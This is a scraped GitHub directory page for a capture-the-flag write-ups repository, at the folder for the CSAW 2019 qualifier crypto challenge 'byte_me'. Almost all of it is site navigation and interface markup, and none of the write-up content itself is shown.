<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> jiafuei </span> <span>/</span> ctf-writeups
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>1</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/jiafuei/ctf-writeups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":111356349,"originating_url":"https://github.com/jiafuei/ctf-writeups/tree/master/csaw-2019-quals/crypto/byte_me","user_id":null}}" data-hydro-click-hmac="7f214fd129034f964fc22b9a6e5b414dac6df42ff00a9d005db4f209a003e392"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/jiafuei/ctf-writeups/refs" cache-key="v0:1511147869.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="amlhZnVlaS9jdGYtd3JpdGV1cHM=" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/jiafuei/ctf-writeups/refs" cache-key="v0:1511147869.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="amlhZnVlaS9jdGYtd3JpdGV1cHM=" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>csaw-2019-quals</span></span><span>/</span><span><span>crypto</span></span><span>/</span>byte_me<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
